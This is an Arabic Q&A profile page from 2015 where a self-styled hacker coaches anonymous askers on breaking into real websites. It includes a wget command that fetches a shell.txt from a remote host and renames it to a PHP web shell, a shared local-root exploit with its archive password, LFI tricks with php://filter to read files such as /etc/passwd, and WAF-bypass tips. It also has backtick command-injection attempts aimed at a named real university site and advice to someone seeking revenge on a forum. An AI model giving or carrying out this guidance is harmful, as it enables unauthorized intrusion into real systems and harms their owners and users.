Ahmed ElSyad

If you could have anything you want for dinner tonight, what would you have?

July 22, 2015

Potatos with Mayonnaise From Arabiata xD

1

0

Liked by: KàRim Ëł

السلام عليكم اخي كيف بقدر اعمل سكربت تخمين لموقع معين واناا عندي خبر في ال php بس مش عارف كيف اتعامل مع المتصفح في عندك فيديوهات لهاد الاشي ؟

July 22, 2015

بسيطة يا غالى
من اى شرح تخمين على اى سكربت
شوف السكربت اللى بيعمل التخمين من خلاله
وشوف اكواده وهتفهم
بالتوفيق

1

0

Liked by: KàRim Ëł

عندك سكربت فرز للايميلات الهوتميل لحال والياهو لحال ز....ز الخ

July 22, 2015

لا يا برنس مش عندى
تلاقى عند السبامرز اكتر
وممكن تدور بموقع Pastebin
بالتوفيق

1

0

Liked by: KàRim Ëł

People you may like

Hussain Mohamed

also likes

• #hacking

Mahmed Y Ahmed

also likes

• #security

Abdelrahman | Hacker

also likes

• #hacking

Abdallah Hashem

also likes

• #security

Faisal Fathe

also likes

• #hacking

Want to make more friends? Try this: Tell us what you like and find people with the same interests. Try this:

#hiphop #student #dance #football #indie #anime #food #comics #fashion

+ add more interests + add your interests

اخي في كنت رافع شل على موقع والشل انحذف بس اناا كنت عامل اتصال عكسي مع السيرفر ولساتو الاتصال شغال بقدر ارفع كمان مرة الشل عن طريق الاتصال العكس ؟؟ وكيف ؟؟

July 20, 2015

اهلا بيك
المفروض انه بيتم قفل الاتصال اول ما تقفل الصفحة
بس الظاهر انك كنت متصل لما تم حذف الشل عشان كده حظك حلو
المهم لو صلاحياتك User ممكن ببساطة تتنقل لاى مجلد
او تعملك مجلد جديد بالامر mkdir egy
هنا بقى عندنا مجلد اسمه egy خش عليه من خلال امر التنقل cd egy
وبعدها هتسحب شل بامتداد txt وتحوله بعدها لامتداد php
من خلال امر السحب
wget http://www.site.com/shell.txt ; mv shell.txt shell.php
او ممكن نختصر الامر اللى فوق بالامر التالى برضو وهيتم تنفيذ المطلوب برضو
wget http://www.site.com/shell.txt -O shell.php
وبعدها استعرض الشل بتاعك من Broswer عادى يا برنس
بالتوفيق

1

0

Liked by: KàRim Ëł

ممكن اخي شرح استهداف المواقع من الصفر حتى رفع *-*

July 19, 2015

http://www.gaza-hacker.net/cc/showthread-t_34134-highlight_cpanel.html

1

0

Liked by: KàRim Ëł

طيب اخي شو باسورد الملف المضغوط تبع اللوكل ؟؟؟

July 19, 2015

harD
لو محتاجه تانى ممكن ارفعهولك

0

0

السلام عليكم في عندك هاد 2.6.28.8 local root exploit ؟؟؟؟ الوكل روت تبعو 2009

July 19, 2015

جرب اللوكال ده يا برنس
http://www.gulfup.com/?805g9U
لسه رافعه ليك حالا
والاصدار ده منتشر كتير اوى
ممكن تجرب اى اصدار احدث كمان عادى مفيش مشاكل يعنى ممكن تجرب
2010 و 2011

0

0

هل محترفين الهكر هما محترفين الحقن اليدوي مع تخطي مشاكل الحقن اليدوي و هل يوجد محترف هكر مش محترف الحقن اليدوي ؟ وانت بتعرف تحقن يدوي وتتخطى الحماياات ومشاكل الحقن اليدوي ؟؟

July 19, 2015

اهلا بيك
نبتدى على بركة الله بجزء جزء
هل محترفين الهكر هما محترفين الحقن اليدوي ؟
لا مش لازم يا برنس
هل يوجد محترف هكر مش محترف الحقن اليدوي ؟
فى كتير يا ريس بس بيبقى عنده معرفة بالحقن اليدوى لتخطى مشاكله والامور التانية
وانت بتعرف تحقن يدوي وتتخطى الحماياات ومشاكل الحقن اليدوي ؟؟
والله انا فى 2013 اول ما دخلت المجال ده كنت مدمن ثغرات SQli بس بعد كده بديت اوسع معرفتى بالثغرات التانية
وانا من عاشقى sqli
وتقدر تقول عليا مبتدأ بدرجة فى ثغرات Sqli
الحمد لله يعنى اى موقع كان مصاب معايا واجهتنى حمايات قدرت اتخطاها وساعات بمساعدة ناس خبرة فى مجال sqli
بالتوفيق

0

0

اوككككككك اوك مصابة هو في ثغرة تانية ان شاء الله يشتغل عليها وشكرا :* :*

July 18, 2015

ولا يهمك يا برنس
احنا دايما فى الخدمة
الشكر لله وحده
بالتوفيق

0

0

تفضل يابرنس http://im88.gulfup.com/KgRH9b.png

July 18, 2015

اهلا بيك
هو هنا بيقولك ان احتمال يكون فيه ثغرة lfi
طيب تمام بس لازم تجيب المتغير اللى انت هتشتغل عليه
ودى محتاجة انك تشوف الملف المصاب يعنى محتاج تنزل السكربت وتقرأ الكود
ممكن يكون مصاب وممكن يكون مش مصاب
شوف ثغرة غيرها اضمن يا برنس

0

0

والله يا اخي مش عارف ليش اناا بلاقي ثغرات بس مشكلتي في الاستغلال يعني مثلا اكيد بتصير معك يعني مابلاقي ثغرة sql في الهدق ويكون استغلالهاا سهل بلاقيها blind method post بدي استغلال لهاد النوع وتخطي مشاكل الحقن والحقن يدوي في ال post صعب وعمري ماسمعت عنو صراحة

July 18, 2015

اهلا بيك
ده من الطبيعى يا ريس ههه
اما بخصوص sql Post
ده بيتم من خلال اى اداة تقدر من خلالها وظيفتها Request Editor
زى مثلا
live headers
BurpSuit
ومن خلالهم تقدر تنفذ اوامر عادى جدا
او ببساطة ممكن تشتغل باداة sqlmap
او من الHavij
اكتب بجوجل " sql injection post via sqlmap "
او اى عبارات زى كده
وانا هحاول اعمل درس ليها بكذا اداة عشان نبقى منوعين ههه

0

0

السلام عليكم اخي عندي موقع فصحتو في الفيجا بحكيلي انو مصاب بثغرة ال lfi كيف بدي اتاكد من اصابتو

July 18, 2015

اهلا بيك
حط صورة يا برنس احسن
كمثال
https://support.subgraph.com/images/scanner/AlertRequestLink.png

0

0

اهلا يابرنس سؤالى ازاى اخترق منتديات احلى منتدى فيه منتدى بيشتمنى وبيعاملونى وحش وطردونى من هناك وتحدونى انى اخترقهم فياريت تديلى طريقة حلوة كدة وشكرا ليك يابرنس

July 18, 2015

اهلا بيك
يا ريس دى منتديات مجانية
يعنى حتى لا شكل ولا اى حاجة كويسة فيها
على العموم افتكر ان المنتديات بتاعتهم بتكون مركبة سكربت phpbb
مش فاكر اوى يعنى بصراحة
جرب ثغرات السكربت لو طلع هو عليهم
او احسن حل
نفض لهم يا برنس وشوف حجات اهم منهم

0

0

كيف يعني php filter

July 18, 2015

اهلا بيك
php://filter/convert.base64-encode/resource=filename
مكان filename
حط اسم الملف اللى عاوز تقرأه
بالتوفيق

0

0

كنت استدعي ملف etc/passwd

July 18, 2015

حاول تستخدم php Filter يا برنس
وجرب مرة كمان

0

0

انت خلاص بقيت شبح ومحدش عارف يكلمك B| لو عرفت انا مين تبقي انت برنس يسطا :"D

July 18, 2015

أكيد محمد صلاح ههه

1

0

اخي بتواجهني مشكلة Not Acceptable! ثغرة lfi ^_^

July 18, 2015

اهلا بيك
يعنى انت كنت بتحاول تستدعى ملف وجابلك الحماية دى ؟
ولا امتى بالظبط بتجيلك ؟؟

0

0

طيب الفوربدن شو حلها ؟!!

July 18, 2015

فى كذا حل يا برنس
ممكن تشفر الاوامر زى ما قولت قبل كده
حاول تلعب فى الاوامر شوية يعنى حرف صغير وحرف كبير
حاول تشفر الامر كذا مرة يعنى مش مرة واحدة
فكر يا برنس

0

0

كل عام وانت بخير وشكرا الك ❤️

July 17, 2015

وانت بخير يا ريس وتسلم على زوقك

0

0

مازبط مابجيبلي شي :/ https://ritaj.birzeit.edu/university-laws/delete-attachment?node_id=bHM=

July 17, 2015

هو ايه اللى انت حاطه اصلا يا برنس ؟
مثلا تشفير امر id بتشفيرة Base64
https://ritaj.birzeit.edu/university-laws/delete-attachment?node_id=`aWQ=`
بس المشكلة ان فى حماية Forbidden

0

0

وكل عام وانت بالف خير يابرنس وينعاد علينا وعليك بالصحة والسلامة

July 17, 2015

وعليكم ان شاء الله
تسلم يا غالى

0

0

سامحني بس كيف بقدر اشفر الامر بال base64 وممكن مثال ؟

July 17, 2015

اهلا بيك
ببساطة ممكن من خلال اى موقع بيعمل الخدمة دى اونلاين ودول كتير
ممكن كمثال الموقع البسيط ده
https://www.base64decode.org/
او ممكن من خلال اى اداة بتعمل الخدمة نفسها زى Coder
او ممكن من خلال اضافة فى الفايرفوكس اسمها HackBar
وحجات كتيرة يا ريس

0

0

اخي ممكن دوركات لثغرة lfi

July 17, 2015

لو كتبت فى جوجل هتلاقى كتير
بس دول كبداية
php?action= , php?file=
يعنى عشان تعمل Test لثغرة lfi
ممكن بعد اى متغير زى اللى فوق كمثال يعنى
تكتب اى حاجة مثلا ElSyad
اذا ظهرلك خطأ Include , Require والدوال اللى انا وضحتها فى الرد اللى قبل ده
يبقى الموقع مصاب بالثغرة
بالتوفيق

0

0

زي هيك كيف بقدر استغل الثغرة ؟ http://im58.gulfup.com/M7z4RW.png

July 16, 2015

اهلا بيك
التطبيق يا برنس بيكون زى ما قولنا تنفيذ اوامر وطبعا على حسب نوع السيرفر
فى الموقع اللى عندك انت
حاول تخش على الرابط ده
https://ritaj.birzeit.edu/images/Ritaj.gif?20141018=`id`
هتلاقى حماية بوشك Forbidden
حاول تشفر الامر بتشفيرة Base64 وجربه تانى
لانى مش على جهازى للاسف
وعشان تفهم اكتر
تابع ردى بالرابط التالى
http://www.hack-ar.com/cc/showpost.php?p=163654&postcount=8
بالتوفيق

0

0

السلام عليكم فحصت موقع وطلعي انو مصاب في ثغرة shell injection شو هاي الثغرة وكيف بقدر استغلها ؟؟؟ هي الصورة http://im62.gulfup.com/yQQJMJ.png

July 16, 2015

اهلا بيك
ثغرات Shell Injection
هيا ثغرات بيتم استغلالها فى تطبيق اوامر لحقن شل
الدوال المصابة هيا نفسها دوال تنفيذ الاوامر بلغة php
بس بخصوص حدوث الثغرة دى اكتر دالة بيتم استخدامها والله اعلم
shell_exec
ممكن تعرف اكتر عن الدالة من خلال موقع php.net
بخصوص التطبيق هرد عليك فى السؤال التانى

0

0